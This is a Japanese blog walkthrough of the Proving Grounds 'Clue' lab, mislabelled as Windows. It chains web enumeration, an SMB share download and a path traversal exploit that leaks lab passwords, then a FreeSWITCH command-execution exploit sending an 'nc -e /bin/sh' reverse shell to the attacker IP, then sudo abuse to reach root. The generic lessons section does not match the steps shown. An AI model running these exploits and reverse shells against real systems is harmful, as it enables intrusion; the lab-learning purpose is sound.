Post

Proving Grounds - Clue (Windows)

Proving Grounds Clue Windows マシン解説。偵察・初期アクセス・権限昇格を解説。

Proving Grounds - Clue (Windows)

概要

項目 内容
OS Windows
難易度 記録なし
攻撃対象 Webアプリケーションおよび公開されているネットワークサービス
主な侵入経路 Webベースの初期アクセス
権限昇格経路 ローカル列挙 -> 設定ミスの悪用 -> root

認証情報

認証情報なし。

偵察


💡 なぜ有効か このフェーズでは到達可能な攻撃対象領域を把握し、悪用が成功しやすい箇所を特定します。正確なサービス・コンテンツ探索により、無作為なテストを減らし、的を絞った後続アクションにつなげます。

初期足がかり


攻撃チェーンを進め、次の仮説を検証するために以下のコマンドを実行します。オープンサービス、悪用可否、認証情報の露出、権限境界などの指標を確認します。コマンドとパラメータはそのまま記録し、追試できる形を維持します。

1
feroxbuster -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt -t 50 -r --timeout 3 --no-state -s 200,301,302,401,403 -x php,html,txt --dont-scan '/(css|fonts?|images?|img)/' -u http://$ip:3000
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
❌[21:15][CPU:8][MEM:73][TUN0:192.168.45.193][/home/n0z0]
🐉 > feroxbuster -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt -t 50 -r --timeout 3 --no-state -s 200,301,302,401,403 -x php,html,txt --dont-scan '/(css|fonts?|images?|img)/' -u http://$ip:3000 
                                                                                                                                                                                                                  
 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.12.0
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://192.168.245.240:3000
 🚫  Don't Scan Regex      │ /(css|fonts?|images?|img)/
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt
 👌  Status Codes          │ [200, 301, 302, 401, 403]
 💥  Timeout (secs)        │ 3
 🦡  User-Agent            │ feroxbuster/2.12.0
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 🔎  Extract Links         │ true
 💲  Extensions            │ [php, html, txt]
 🏁  HTTP methods          │ [GET]
 📍  Follow Redirects      │ true
 🔃  Recursion Depth       │ 4
 🎉  New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
200      GET       96l      239w     3837c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200      GET       33l       98w     3837c http://192.168.245.240:3000/cgi-bin/Spy.html
200      GET       65l      175w     3837c http://192.168.245.240:3000/cgi-bin/_adm
200      GET       65l      175w     3837c http://192.168.245.240:3000/cgi-bin/.git/logs/LogFiles.php
200      GET       33l       98w     3837c http://192.168.245.240:3000/lat_getlinking.txt
200      GET       65l      175w     3837c http://192.168.245.240:3000/.git/logs/programs.php
200      GET       65l      175w     3837c http://192.168.245.240:3000/.git/logs/cgi-bin/journals

攻撃チェーンを進め、次の仮説を検証するために以下のコマンドを実行します。オープンサービス、悪用可否、認証情報の露出、権限境界などの指標を確認します。コマンドとパラメータはそのまま記録し、追試できる形を維持します。

1
2
smbclient //$ip/backup -m SMB3
smbclient \\\\$ip\\backup -N -c "prompt OFF; recurse ON; mget *" -m SMB3
1
2
3
4
5
6
7
8
9
10
11
12
13
14
✅[1:30][CPU:13][MEM:58][TUN0:192.168.45.193][....OSCP/Proving_Ground/Clue]
🐉 > smbclient //$ip/backup -m SMB3                
Password for [WORKGROUP\n0z0]:
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Fri Aug  5 17:43:50 2022
  ..                                  D        0  Fri Aug  5 17:43:44 2022
  freeswitch                          D        0  Fri Aug  5 17:43:51 2022
  cassandra                           D        0  Sat May  7 00:04:47 2022

                                                                                                                                                                                                                  
✅[1:31][CPU:22][MEM:58][TUN0:192.168.45.193][....OSCP/Proving_Ground/Clue]
🐉 > smbclient \\\\$ip\\backup -N -c "prompt OFF; recurse ON; mget *" -m SMB3

攻撃チェーンを進め、次の仮説を検証するために以下のコマンドを実行します。オープンサービス、悪用可否、認証情報の露出、権限境界などの指標を確認します。コマンドとパラメータはそのまま記録し、追試できる形を維持します。

1
nc -vn $ip 8021
1
2
3
4
5
6
7
8
9
10
❌[1:46][CPU:10][MEM:59][TUN0:192.168.45.193][....OSCP/Proving_Ground/Clue]
🐉 > nc -vn $ip 8021           
(UNKNOWN) [192.168.245.240] 8021 (zope-ftp) open
Content-Type: auth/request
Content-Type: text/disconnect-notice
Content-Length: 67

Disconnected, goodbye.
See you at ClueCon! http://www.cluecon.com/

https://book.hacktricks.wiki/en/network-services-pentesting/cassandra.html SELECT cluster_name, thrift_version, data_center, partitioner, native_protocol_version, rack, release_version from system.local; Screenshot from the clue engagement キャプション:このフェーズで取得したスクリーンショット

https://www.exploit-db.com/exploits/49362 攻撃チェーンを進め、次の仮説を検証するために以下のコマンドを実行します。オープンサービス、悪用可否、認証情報の露出、権限境界などの指標を確認します。コマンドとパラメータはそのまま記録し、追試できる形を維持します。

1
python3 49362.py $ip /etc/passwd
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
✅[2:49][CPU:21][MEM:78][TUN0:192.168.45.193][....OSCP/Proving_Ground/Clue]
🐉 > python3 49362.py $ip /etc/passwd 

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:101:102:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:104:110::/nonexistent:/usr/sbin/nologin
sshd:x:105:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
ntp:x:106:113::/nonexistent:/usr/sbin/nologin
cassandra:x:107:114:Cassandra database,,,:/var/lib/cassandra:/usr/sbin/nologin
cassie:x:1000:1000::/home/cassie:/bin/bash
freeswitch:x:998:998:FreeSWITCH:/var/lib/freeswitch:/bin/false
anthony:x:1001:1001::/home/anthony:/bin/bash

攻撃チェーンを進め、次の仮説を検証するために以下のコマンドを実行します。オープンサービス、悪用可否、認証情報の露出、権限境界などの指標を確認します。コマンドとパラメータはそのまま記録し、追試できる形を維持します。

1
python3 49362.py $ip -p 3000 ../../../../../../../../proc/self/cmdline
1
2
3
4
❌[0:04][CPU:9][MEM:71][TUN0:192.168.45.193][....OSCP/Proving_Ground/Clue]
🐉 > python3 49362.py $ip -p 3000 ../../../../../../../../proc/self/cmdline 

/usr/bin/ruby2.5/usr/local/bin/cassandra-web-ucassie-pSecondBiteTheApple330

攻撃チェーンを進め、次の仮説を検証するために以下のコマンドを実行します。オープンサービス、悪用可否、認証情報の露出、権限境界などの指標を確認します。コマンドとパラメータはそのまま記録し、追試できる形を維持します。

1
python3 49362.py $ip -p 3000 ../../../../../../../../etc/freeswitch/autoload_configs/event_socket.conf.xml
1
2
3
4
5
6
7
8
9
10
11
✅[0:24][CPU:3][MEM:69][TUN0:192.168.45.193][....OSCP/Proving_Ground/Clue]
🐉 > python3 49362.py $ip -p 3000 ../../../../../../../../etc/freeswitch/autoload_configs/event_socket.conf.xml

<configuration name="event_socket.conf" description="Socket Client">
  <settings>
    <param name="nat-map" value="false"/>
    <param name="listen-ip" value="0.0.0.0"/>
    <param name="listen-port" value="8021"/>
    <param name="password" value="StrongClueConEight021"/>
  </settings>
</configuration>

攻撃チェーンを進め、次の仮説を検証するために以下のコマンドを実行します。オープンサービス、悪用可否、認証情報の露出、権限境界などの指標を確認します。コマンドとパラメータはそのまま記録し、追試できる形を維持します。

1
searchsploit freeswi
1
2
3
4
5
6
7
8
9
10
✅[3:18][CPU:12][MEM:76][TUN0:192.168.45.193][....OSCP/Proving_Ground/Clue]
🐉 > searchsploit freeswi 
-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                                                                                                                  |  Path
-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
FreeSWITCH - Event Socket Command Execution (Metasploit)                                                                                                                        | multiple/remote/47698.rb
FreeSWITCH 1.10.1 - Command Execution                                                                                                                                           | windows/remote/47799.txt
-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
Papers: No Results

攻撃チェーンを進め、次の仮説を検証するために以下のコマンドを実行します。オープンサービス、悪用可否、認証情報の露出、権限境界などの指標を確認します。コマンドとパラメータはそのまま記録し、追試できる形を維持します。

1
python3 47799.py $ip 'nc -e /bin/sh 192.168.45.193 3000'
1
2
3
4
✅[23:42][CPU:3][MEM:68][TUN0:192.168.45.193][....OSCP/Proving_Ground/Clue]
🐉 > python3 47799.py $ip 'nc -e /bin/sh 192.168.45.193 3000'
Authenticated

💡 なぜ有効か 初期足がかりのステップでは、発見した脆弱性を連鎖させてターゲットへの実行可能な制御を確立します。成功した足がかり技術は、コマンド実行やインタラクティブシェルのコールバックによって検証されます。

権限昇格


攻撃チェーンを進め、次の仮説を検証するために以下のコマンドを実行します。オープンサービス、悪用可否、認証情報の露出、権限境界などの指標を確認します。コマンドとパラメータはそのまま記録し、追試できる形を維持します。

1
python3 47799.py $ip 'nc -e /bin/sh 192.168.45.193 3000'
1
2
3
4
5
❌[0:51][CPU:2][MEM:67][TUN0:192.168.45.193][....OSCP/Proving_Ground/Clue]
🐉 > python3 47799.py $ip 'nc -e /bin/sh 192.168.45.193 3000'
Authenticated
Content-Type: api/response
Content-Length: 14

攻撃チェーンを進め、次の仮説を検証するために以下のコマンドを実行します。オープンサービス、悪用可否、認証情報の露出、権限境界などの指標を確認します。コマンドとパラメータはそのまま記録し、追試できる形を維持します。

1
rlwrap -cAri nc -lvnp 3000
1
2
3
4
5
6
7
8
❌[23:43][CPU:5][MEM:69][TUN0:192.168.45.193][/tools/linux]
🐉 > rlwrap -cAri nc -lvnp 3000
listening on [any] 3000 ...
connect to [192.168.45.193] from (UNKNOWN) [192.168.245.240] 57792
python3 -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm
script /dev/null -c bash

攻撃チェーンを進め、次の仮説を検証するために以下のコマンドを実行します。オープンサービス、悪用可否、認証情報の露出、権限境界などの指標を確認します。コマンドとパラメータはそのまま記録し、追試できる形を維持します。

1
sudo -u root /usr/local/bin/cassandra-web -B 0.0.0.0:1337 -u cassie -p SecondBiteTheApple330
1
2
cassie@clue:~$ sudo -u root /usr/local/bin/cassandra-web -B 0.0.0.0:1337 -u cassie -p SecondBiteTheApple330

攻撃チェーンを進め、次の仮説を検証するために以下のコマンドを実行します。オープンサービス、悪用可否、認証情報の露出、権限境界などの指標を確認します。コマンドとパラメータはそのまま記録し、追試できる形を維持します。

1
ssh root@$ip -i id_rsa
1
2
3
✅[1:02][CPU:1][MEM:66][TUN0:192.168.45.193][....OSCP/Proving_Ground/Clue]
🐉 > ssh root@$ip -i id_rsa  

💡 なぜ有効か 権限昇格はローカルの設定ミス、安全でないパーミッション、信頼された実行パスに依存します。これらの信頼境界を列挙して悪用することが、rootレベルのアクセスへの最短経路です。

まとめ・学んだこと

  • 本番同等の環境でフレームワークのデバッグモードとエラー露出を検証する。
  • 特権ユーザーやスケジューラーが実行するスクリプト・バイナリのファイルパーミッションを制限する。
  • ワイルドカード展開やスクリプト化可能な特権ツールを避けるため sudo ポリシーを強化する。
  • 露出した認証情報と環境ファイルを重要機密として扱う。

参考文献

  • RustScan: https://github.com/RustScan/RustScan
  • Nmap: https://nmap.org/
  • feroxbuster: https://github.com/epi052/feroxbuster
  • Nuclei: https://github.com/projectdiscovery/nuclei
  • GTFOBins: https://gtfobins.org/
  • HackTricks Privilege Escalation: https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html
This post is licensed under CC BY 4.0 by the author.